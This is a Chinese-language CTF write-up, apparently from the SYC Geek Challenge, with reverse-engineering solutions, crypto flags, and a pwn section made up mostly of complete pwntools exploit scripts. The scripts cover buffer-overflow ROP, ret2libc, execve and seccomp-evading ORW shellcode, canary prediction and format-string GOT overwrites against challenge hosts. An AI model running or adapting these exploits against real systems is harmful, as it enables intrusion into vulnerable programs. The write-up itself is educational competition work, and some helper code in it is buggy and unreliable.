re

点击就送的逆向题

.S的文件 使用as命令来汇编一下,然后ida打开分析逻辑

as -o output.o input.S

置反一下逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-54h]
  char s1[32]; // [rsp+10h] [rbp-50h] BYREF
  char s2[40]; // [rsp+30h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+58h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  strcpy(s2, "Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM");
  _isoc99_scanf(&unk_F4, s1);
  for ( i = 0; i <= 31; ++i )
    s1[i] += 7;
  if ( !strcmp(s1, s2) )
    printf("wrong!");
  puts("good!");
  return 0;
}
flag = "Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM"

for i in range(len(flag)):
    byte = ord(flag[i]) - 7
    print(chr(byte),end="")
SYC{SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF}

shiftjmp

有个jmp的花指令 nop掉后,对着main u p 重新打包main函数反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]

  puts("flag:");
  for ( i = 0; i <= 33; ++i )
  {
    if ( rodata[i] ^ i ^ getchar() )
    {
      puts("no");
      return 0;
    }
  }
  puts("yes");
  return 0;
}
flag = [0x53, 0x58, 0x41, 0x78, 0x53, 0x36, 0x6A, 0x64, 0x38, 0x64, 0x6F, 0x54, 0x78, 0x42, 0x51, 0x7B, 0x78, 0x22, 0x4D, 0x61, 0x27, 0x63, 0x73, 0x45, 0x2D, 0x7C, 0x45, 0x6C, 0x2C, 0x6F, 0x2F, 0x7B, 0x5E, 0x5C, 0x00]

for i in range(len(flag)):
    byte = flag[i] ^ i
    print(chr(byte),end="")

幸运数字

这里的问题,其实是求解 找0xD3范围内的i异或cmp数组 哪个开头是SYC,因为与运算有截断这个特性,所以范围是0xD3

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // ebx
  unsigned int v5; // eax
  unsigned __int8 cmp_data[41]; // [rsp+20h] [rbp-60h] BYREF
  unsigned int inputString; // [rsp+54h] [rbp-2Ch] BYREF
  int lenth; // [rsp+58h] [rbp-28h]
  int i; // [rsp+5Ch] [rbp-24h]

  _main(argc, argv, envp);
  qmemcpy(cmp_data, "\r\a", 2);
  cmp_data[2] = 29;
  cmp_data[3] = 37;
  cmp_data[4] = 29;
  cmp_data[5] = 110;
  cmp_data[6] = 48;
  cmp_data[7] = 57;
  cmp_data[8] = 44;
  cmp_data[9] = 63;
  cmp_data[10] = 42;
  cmp_data[11] = 43;
  cmp_data[12] = 50;
  cmp_data[13] = 63;
  cmp_data[14] = 42;
  cmp_data[15] = 55;
  cmp_data[16] = 110;
  cmp_data[17] = 48;
  cmp_data[18] = 48;
  cmp_data[19] = 48;
  cmp_data[20] = 48;
  cmp_data[21] = 45;
  cmp_data[22] = 1;
  cmp_data[23] = 7;
  cmp_data[24] = 49;
  cmp_data[25] = 43;
  cmp_data[26] = 1;
  cmp_data[27] = 57;
  cmp_data[28] = 31;
  cmp_data[29] = 59;
  cmp_data[30] = 45;
  cmp_data[31] = 45;
  cmp_data[32] = 27;
  cmp_data[33] = 58;
  cmp_data[34] = 1;
  cmp_data[35] = 12;
  qmemcpy(&cmp_data[36], "o96*#", 5);
  printf(&Format);
  scanf("%u", &inputString);
  if ( inputString <= 0x3E7 )
  {
    lenth = 41;
    puts(&Buffer);
    for ( i = 0; i < lenth; ++i )
    {
      v4 = cmp_data[i];
      v5 = result(inputString);
      printf("%c", v4 ^ (v5 % 0xD3));
    }
    return 0;
  }
  else
  {
    printf(&byte_40401C);
    return 0;
  }
}
cmp_data = [0x0D, 0x07, 0x1D, 0x25, 0x1D, 0x6E, 0x30, 0x39, 0x2C, 0x3F, 0x2A, 0x2B, 0x32, 0x3F, 0x2A, 0x37, 0x6E, 0x30, 0x30, 0x30, 0x30, 0x2D, 0x01, 0x07, 0x31, 0x2B, 0x01, 0x39, 0x1F, 0x3B, 0x2D, 0x2D, 0x1B, 0x3A, 0x01, 0x0C, 0x6F, 0x39, 0x36, 0x2A, 0x23, 0x15, 0x40]

for i in range(0xd3):
    for j in cmp_data:
        byte = j ^ i;
        print(chr(byte),end="")
    print("\n")

砍树

native 看下面调用str2应该是key

public static native int I0o0I(String str, String str2);

public native String skkkyJNI();

static {
    System.loadLibrary("ezreeeee");
}

根据输入和key进行加密然后和dest cmp,大概是这样的一个逻辑

_BOOL8 __fastcall Java_com_sky_ezreeeee_MainActivity_I0o0I(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  int i; // [rsp+Ch] [rbp-64h]
  __int64 v6; // [rsp+10h] [rbp-60h]
  _BOOL4 v7; // [rsp+1Ch] [rbp-54h]
  unsigned __int8 *v9; // [rsp+20h] [rbp-50h]
  unsigned __int8 *inputString; // [rsp+28h] [rbp-48h]
  char dest[40]; // [rsp+40h] [rbp-30h] BYREF
  unsigned __int64 v12; // [rsp+68h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  inputString = (unsigned __int8 *)jstring_2unsigchar(a1, a3);
  v9 = (unsigned __int8 *)jstring_2unsigchar(a1, a4);
  v6 = A0OWO0A(inputString, v9);
  memcpy(dest, &byte_14900, 0x23uLL);
  for ( i = 0; i < 34; ++i )
    v7 = *(unsigned __int8 *)(v6 + i) == (unsigned __int8)dest[i];
  return v7;
}

A0OWO0A的实现

unsigned __int8 *__fastcall A0OWO0A(unsigned __int8 *inputString, const unsigned __int8 *key)
{
  int i; // [rsp+4h] [rbp-14h]

  for ( i = 0; i < 34; ++i )
    inputString[i] ^= key[i % 7];
  return inputString;
}

解密脚本

flag = [0x00, 0x20, 0x20, 0x17, 0x1B, 0x36, 0x0E, 0x36,
        0x26, 0x17, 0x04, 0x2A, 0x29, 0x07, 0x26, 0x15,
        0x52, 0x33, 0x2D, 0x0F, 0x3A, 0x27, 0x11, 0x06,
        0x33, 0x07, 0x46, 0x17, 0x3D, 0x0A, 0x3C, 0x38,
        0x2E, 0x22, 0x18]

a = "Sycloverforerver"
key = [ord(i) for i in a]


for i in range(len(flag)):
    byte = flag[i] ^ key[i % 7]
    print(chr(byte),end="")

听说cpp很难?

无用的代码比较多,这时候应该从后往前分析,从success的逻辑开始往前找,发现关键的加密逻辑,也是就test67那

for ( k = std::vector<char>::begin(v16); ; __gnu_cxx::__normal_iterator<char *,std::vector<char>>::operator++(
                                             &k,
                                             0i64) )
{
  v21 = std::vector<char>::end(v16);
  if ( !(unsigned __int8)__gnu_cxx::operator!=<char *,std::vector<char>>(&k, &v21) )
    break;
  v6 = (_BYTE *)__gnu_cxx::__normal_iterator<char *,std::vector<char>>::operator*(&k);
  *v6 += v17[44];
  v7 = *(char *)__gnu_cxx::__normal_iterator<char *,std::vector<char>>::operator*(&k);
  v8 = (_BYTE *)__gnu_cxx::__normal_iterator<char *,std::vector<char>>::operator*(&k);
  *v8 = text_67(v17, v7);
}
__int64 __fastcall text_67(__int64 a1, char a2)
{
  *(_DWORD *)(a1 + 40) = 9;
  return (unsigned __int8)(((*(_DWORD *)(a1 + 40) + 1) ^ a2) - *(_DWORD *)(a1 + 40) - 1);
}

也就是这个逻辑,test_67外边可以一个*v6 += v17[44];的逻辑,打开看了一下是0xa

(inputString[i] ^ 10) - 9 - 1

所以也就是

((cmpStr[i] + 10) ^ 10) - 0xa
v19 = [
    77, 95, 61, -123, 55, 104, 115, 87, 39, 104,
    81, 89, 127, 38, 107, 89, 115, 87, 85, 91,
    89, 111, 106, 89, 39, 87, 114, 87, 79, 87,
    120, 120, -125
]

for i in range(len(v19)):
    v19[i] = ((v19[i] + 10) ^ 10) - 0xa

for i in v19:
    if i < 0:
        continue

    print(chr(i),end="")

pwn

nc_pwntools

可以用ctypes来调用libc中的srand rand

from pwn import *
from LibcSearcher import *
from ctypes import *



context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./chal')
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0))


is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "pwn.node.game.sycsec.com"
    port = 31955
    p = remote(ip,port)
       
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(sa)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda x: p.recvline(x)
ru = lambda x: p.recvuntil(x)


payload = b'a' * 92 + b'Syclover'

p.send(payload)

random_number1 = libc.rand() % 100000 + 5646488;
random_number2 = libc.rand() % 10000 + 3214590;
random_number3 = libc.rand() % 1000 + 6521;
random_number4 = libc.rand() % 10000 + 98714;

result = (random_number1 - random_number2) * random_number3 % random_number4
result = str(result).encode()
p.sendline(result)

p.interactive()

ret2text

程序开启了pie,但是backdoor和vuln的偏移非常近,不超过一个字节的偏移,原有的return上面就已经有了前面部分的地址,所以只需要覆盖低位一个字节的内容,就能return到backdoor上面

.text:000000000000120E F3 0F 1E FA                   endbr64
.text:0000000000001212 55                            push    rbp
.text:0000000000001213 48 89 E5                      mov     rbp, rsp
.text:0000000000001216 48 83 EC 10                   sub     rsp, 10h
.text:000000000000121A C7 45 FC 00 00 00 00          mov     [rbp+var_4], 0
.text:0000000000001221 83 7D FC 01                   cmp     [rbp+var_4], 1
.text:0000000000001225 75 11                         jnz     short loc_1238
.text:0000000000001225
.text:0000000000001227 48 8D 3D DA 0D 00 00          lea     rdi, command                    ; "/bin/sh"
.text:000000000000122E B8 00 00 00 00                mov     eax, 0
.text:0000000000001233 E8 58 FE FF FF                call    _system
.text:0000000000001233
.text:0000000000001238
.text:0000000000001238                               loc_1238:                               ; CODE XREF: backdoor+17↑j
.text:0000000000001238 90                            nop
.text:0000000000001239 C9                            leave
.text:000000000000123A C3                            retn
.text:000000000000123A                               ; } /
.text:000000000000123B                               ; __unwind {
.text:000000000000123B F3 0F 1E FA                   endbr64
.text:000000000000123F 55                            push    rbp
.text:0000000000001240 48 89 E5                      mov     rbp, rsp
.text:0000000000001243 48 83 EC 50                   sub     rsp, 50h
.text:0000000000001247 48 8D 3D C2 0D 00 00          lea     rdi, s                          ; "The simplest but not too simple pwn"
.text:000000000000124E E8 2D FE FF FF                call    _puts
.text:000000000000124E
.text:0000000000001253 48 8D 45 B0                   lea     rax, [rbp+buf]
.text:0000000000001257 BA 60 00 00 00                mov     edx, 60h ; '`'                  ; nbytes
.text:000000000000125C 48 89 C6                      mov     rsi, rax                        ; buf
.text:000000000000125F BF 00 00 00 00                mov     edi, 0                          ; fd
.text:0000000000001264 B8 00 00 00 00                mov     eax, 0
.text:0000000000001269 E8 32 FE FF FF                call    _read
.text:0000000000001269
.text:000000000000126E 90                            nop
.text:000000000000126F C9                            leave
.text:0000000000001270 C3                            retn
.text:0000000000001270                               ; } // starts at 123B
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./ret2text')

is_debug = 1

if(is_debug):
    p = process()
else:
    ip = "1.container.jingsai.apicon.cn"
    port = 30926
    p = remote(ip,port)
       
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(sa)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda x: p.recvline(x)
ru = lambda x: p.recvuntil(x)

payload = b'a' * (0x50 + 0x8)
payload += p8(0x27)

#gdb.attach(p)
p.send(payload)


p.interactive()

password

有一个backdoor函数,name那存在一个溢出,刚刚好是八个字节,能覆盖返回地址,password这里是通过read /dev/urandom来生成的,去看了下urandome 有时候会出来\x00,想到strcmp 是根据\x00来识别字符串,再cmp的,那假设第一位是\x00,爆破password

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[64]; // [rsp+0h] [rbp-60h] BYREF
  char buf[32]; // [rsp+40h] [rbp-20h] BYREF

  init();
  puts("please enter user name:");
  read(0, buf, 0x30uLL);
  puts("please enter password:");
  fgets(s, 64, stdin);
  if ( strcmp(s, password) )
  {
    puts("Wrong password!");
    exit(0);
  }
  puts("Correct password!");
  return 0;
}
int init()
{
  FILE *stream; // [rsp+8h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  stream = fopen("/dev/urandom", "r");
  fgets(password, 64, stream);
  return fclose(stream);
}
from pwn import *
from LibcSearcher import *
import ctypes


# context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./password')

is_debug = 1


# if(is_debug):
#     p = process()
# else:
#     ip = "pwn.node.game.sycsec.com"
#     port = 30872
#     p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(sa)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda x: p.recvline(x)
ru = lambda x: p.recvuntil(x)

payload = b'a' * (0x20 + 0x8)
payload += p64(0x00000000004012F3) # backdoor



ip = "pwn.node.game.sycsec.com"
port = 31233


while True:
    p = remote(ip,port)
    
    p.sendafter(b"name:\n",payload)
    p.sendlineafter(b"password:\n",b'\x00')
    s = p.recvline()
    print(s)
    if(b"Correct" in s):
        break
        
    p.close()
p.interactive()

ret2libc

先用write泄露got表的地址,然后计算libc的基地址,拿到system和binsh后,正常的rop

找了半天没有找到修改rdx寄存器的gadget,后面发现这里有一个非常合适的gadget

1698472420151

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./ret2libc')
libc = ELF('./libc.so.6')

is_debug = 1

if(is_debug):
    p = process()
else:
    ip = "pwn.node.game.sycsec.com"
    port = 31982
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(sa)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda x: p.recvline(x)
ru = lambda x: p.recvuntil(x)

rdi = 0x0000000000401333
rsi_r15 = 0x0000000000401331
csu1 = 0x0000000000401310
csu2 = 0x0000000000401326
main = 0x000000000040126F
ret = 0x000000000040101a
init_proc = 0x0000000000401000
rdx = 0x0000000000401288

# g(p)

# 

sla(b"This challenge no backdoor!",flat([
    b'\x00' * (0x10 + 0x8),
    rsi_r15, elf.got.write, 0, rdx,
]))


leek_write = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
success(f"success-> {hex(leek_write)}")



libc_base = leek_write - libc.symbols['write']
success(f"libc_base-> {hex(libc_base)}")


system = libc_base + libc.symbols['system']
binsh= libc_base + next(libc.search(b"/bin/sh\x00"))

success(f"system-> {hex(system)}")
success(f"binsh-> {hex(binsh)}")

# g(p)

sla(b"This challenge no backdoor!",flat([
    b'\x00' * (0x10 + 0x8),
    rdi,binsh,system
]))


p.interactive()

看到的一种很有意思的做法,https://www.cnblogs.com/mumuhhh/p/17860207.html 这里,用magic gadget,配合csu实现任意地址写,写got表,然后写one gadget的地址来getshell

write1

*((_BYTE *)v2 + v1) += tmp; 这里有一个任意地址写的漏洞,可以一个字节一个字节的修改数据,程序中有一个backdoor函数,可以把返回地址修改成backdoor然后再输入一个<0的数退出循环,注意__isoc99_scanf(“%x”, &tmp); 是十六进制的,所以输入也应该是十六进制的

unsigned __int64 do_something()
{
  int v1; // [rsp+Ch] [rbp-24h] BYREF
  __int64 v2[3]; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  __isoc99_scanf("%s", &s);
  v2[0] = s;
  v2[1] = qword_404098;
  while ( 1 )
  {
    puts("index:");
    __isoc99_scanf("%d", &v1);
    if ( v1 < 0 )
      break;
    printf("value:");
    __isoc99_scanf("%x", &tmp);
    *((_BYTE *)v2 + v1) += tmp;
  }
  return v3 - __readfsqword(0x28u);
}
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./write')

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "pwn.node.game.sycsec.com"
    port = 31253
    p = remote(ip,port)
       
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda x: p.recvline(x)
ru = lambda x: p.recvuntil(x)



sl(b'aaaa')

sl(b'40')
sl(b'-0x28')

sl(b'41')
sl(b'-0x1')

sl('-1')

p.interactive()

ezpwn

ret2shellcode 0x13h - 0x8 = 11个字节,这个太难受了,一开始想着把shellcode拆成两半,后半段放在开始,前半段放在后面,然后结尾jmp,第一次尝试写shellcode,写来写去最短也要22个字节,网上找了一些16字节的发现都有些问题。后面发现syscall再read再read一遍写足够大的位置不就好了

; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment byte public 'CODE' use64
assume cs:_text
;org 801000h
assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing


; Attributes: bp-based frame

; void fun()
public fun
fun proc near

anonymous_0= byte ptr -20h

; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 20h
xor     eax, eax
xor     edi, edi        ; fd
mov     rsi, rsp        ; buf
mov     edx, 13h        ; count
syscall                 ; LINUX - sys_read
add     rsi, 8
jmp     rsi
; } // starts at 801000
fun endp

_text ends
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./ezpwn')
# libc = ELF('./libc.so.6')

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "pwn.node.game.sycsec.com"
    port = 31578
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda x: p.recvline(x)
ru = lambda x: p.recvuntil(x)

# syscall read
shellcode1 = '''
    xor eax,eax
    push 0x50
    pop rdx
    add rsi,11
    syscall
'''
shellcode1 = b'a' * 8 + asm(shellcode1)
# g(p)
s(shellcode1)

# g(p)
#execve(/bin/sh)
shellcode2 = '''
    mov rax,0x68732f6e69622f
    push rax
    push rsp
    pop rdi
    push 0x3b
    pop rax
    xor esi, esi
    xor edx, edx
    syscall
''' 

# shellcode2 = asm(shellcraft.sh())
shellcode2 = asm(shellcode2)

s(shellcode2)

p.interactive()

write2

vmmap 发现栈上有可执行的权限,任意地址写,直接往rbp + 16写shellcode,然后把rbp + 8改成rbp + 16的地址就好了

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./write2')
# libc = ELF('./libc.so.6')

is_debug = 1

if(is_debug):
    p = process()
else:
    ip = "pwn.node.game.sycsec.com"
    port = 30602
    p = remote(ip,port)
# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)


ru(b"index_addr:")
addr = int(p.recv(14).decode("utf-8"),16) 
return_addr = addr + 0x34
success(f"return_addr -> {hex(return_addr)}")

shellcode = '''
    mov rax,0x68732f6e69622f
    push rax
    push rsp
    pop rdi
    push 0x3b
    pop rax
    xor esi, esi
    xor edx, edx
    syscall
'''
shellcode = asm(shellcode)

sl(b'a')

for i in range(len(shellcode)):
    sl(str(0x30 + i).encode())
    sl(str(hex(shellcode[i])[2:]).encode())

for i in range(6):

    byte = return_addr & 0xff

    sl(str(0x28 + i).encode())
    sl(hex(byte)[2:])
    
    return_addr >>= 8

sl(b'-1')

p.interactive()

white_canary

vmmap发现bss有可执行的权限,第一次read buf,往一块有可读可写可执行的地址写数据,第二次gets可以溢出,但是seccomp禁用了execve系统调用,然后有个canary,但canary是通过随机数生成出来的

所以思路是先往buf中写orw的shellcode,然后溢出修改返回地址执行这个shellcode把flag读出来

open(flag,0,0)

read(fd,buf,size)

write(fd,buf,size)

用ctypes模拟canary的生成,溢出的时候带上canary就好了,gdb看了一下,是取生成的canary的第八字节,然后写到fs段偏移0x28

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+8h] [rbp-18h]
  char v5[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v4 = seccomp_init(2147418112LL, argv, envp);
  seccomp_rule_add(v4, 0LL, 59LL, 0LL);
  seccomp_load(v4);
  puts("You are lost in a forest of pwn,find the secret of this world");
  puts("You find a man,he said:If you want to get out of here, you need to tell me your name!");
  puts("Please enter your name:");
  read(0, &buf, 0x64uLL);
  puts("tell me something:");
  gets(v5);
  return 0;
}
int init()
{
  time_t seed; // [rsp+8h] [rbp-28h]
  __int64 v2; // [rsp+10h] [rbp-20h]
  __int64 v3; // [rsp+18h] [rbp-18h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  seed = time(0LL) % 60;
  srand(seed);
  v2 = rand();
  v3 = rand();
  __writefsqword(
    0x28u,
    (((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32)
  + ((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32));
  return mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
}
from pwn import *
from LibcSearcher import *
import ctypes

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./chal')
# libc = ELF('./libc.so.6')

## srand
libc = ctypes.CDLL(os.path.join(os.getcwd(), 'libc.so.6'))
seed = libc.time(None) % 60
libc.srand(seed)

is_debug = 1

if(is_debug):
    p = process()
else:
    ip = "pwn.node.game.sycsec.com"
    port = 31936
    p = remote(ip,port)
# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

v2 = libc.rand()
v3 = libc.rand()
canary = (((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32) + ((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32)
canary = canary & 0xFFFFFFFFFFFFFFFF
success(f"Canary -> {hex(canary)}")

orw_shellcode = asm('''
mov edx,0x67616c66
push rdx   
push rsp
pop rdi
xor esi,esi                    
mov eax,0x2  
syscall
push 0x50
pop rdx
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
push 0x50
pop rdx
xor edi,2
mov eax,edi
syscall
''')


# g(p)
sa("Please enter your name:\n",orw_shellcode)
# g(p)
payload = b'a' * (0x10 - 0x8) + p64(canary) + b'a' * 8 + p64(0x00000000004040E0)
sla(b"tell me something:\n", payload)

p.interactive()

fmt1.0[补]

咱是笨蛋,这个printf很奇怪,没有想到格式化字符串修改printf的got表,为execve,咱以为是格式化字符串连续写,然后ret2libc,后面看其他师傅的wp后发现,可以修改这个printf的 got表位execve

__int64 vuln()
{
  char s[80]; // [rsp+0h] [rbp-50h] BYREF

  memset(s, 0, sizeof(s));
  puts("Please enter your username: ");
  read(0, s, 0x60uLL);
  printf("Hello,");
  printf(s, 0LL);
  return 0LL;
}
from pwn import *
from LibcSearcher import *

# context.terminal = ['gnome-terminal', '-e']
context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./fmt1.0')
libc = ELF('./libc.so.6')

# is_debug = 1

# if(is_debug):
#     p = process()
# else:
#     ip = "node4.buuoj.cn"
#     port = 29349
#     p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)


# def exec_fmt(pad):
#     p = process("./fmt1.0")
	
#     p.recvuntil(b"Please enter your username: \n")
#     p.send(pad)
#     p.recvuntil(b"Hello,")
#     return p.recv()

# fmt = FmtStr(exec_fmt)
# success(f"offset ->{str(fmt.offset)}")

p = process("./fmt1.0")

# g(p)
# payload = fmtstr_payload(6,{0x7fffffffe220:0x1337babe})
# print(payload)
p.recvuntil(b"Please enter your username: \n")

main = 0x4012CA

payload = fmtstr_payload(6,{elf.got["printf"]:elf.plt["execve"]})
success(f"payload ->{payload}")

payload = payload.ljust(0x58,b'\x00') + p64(main)
s(payload)

sl(b"/bin/sh\x00")

p.interactive()

fmt2.0[补]

有两次printf格式化字符串,第一次泄露一个libc相关的地址和栈上的地址算出libc_base和返回地址,第二次把返回地址修改成one_gadget的地址

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[88]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  printf("frist str:");
  read(0, buf, 0x50uLL);
  printf(buf);
  putchar(10);
  printf("second str:");
  read(0, buf, 0x50uLL);
  printf(buf);
  return 0;
}
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./fmt2.0')
libc = elf.libc

is_debug = 1

if(is_debug):
    p = process()
else:
    ip = "node4.buuoj.cn"
    port = 29349
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

sl(b"aaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p")

ru(b"aaaa")
leek_addr = int(r(14),16)
ret_addr = leek_addr + 0x68
success(f"ret_addr -> {hex(ret_addr)}")

ru(b"0x50-")
read_addr = int(r(14),16)
read_addr -= 0x12
libc_base = read_addr - libc.sym['read']
success(f"libc_base -> {hex(libc_base)}")

one=0xe3b01

# g(p)
payload=fmtstr_payload(6,{ret_addr:libc_base+one},write_size='short')
sl(payload)


p.interactive()

fmt3.0[补]

ez_fullprotection[补]

mips[补]

why_not_puts[补]

eva[补]

Cypto

easy_classic

有些绕

凯撒->栅栏->base64->熊曰->key base100 emjoy->playfair

SYC{classical_1s_fun}

SignIn

十六进制转字符串

SYC{Hello_World_Crypto_bibobibo}
⬆︎TOP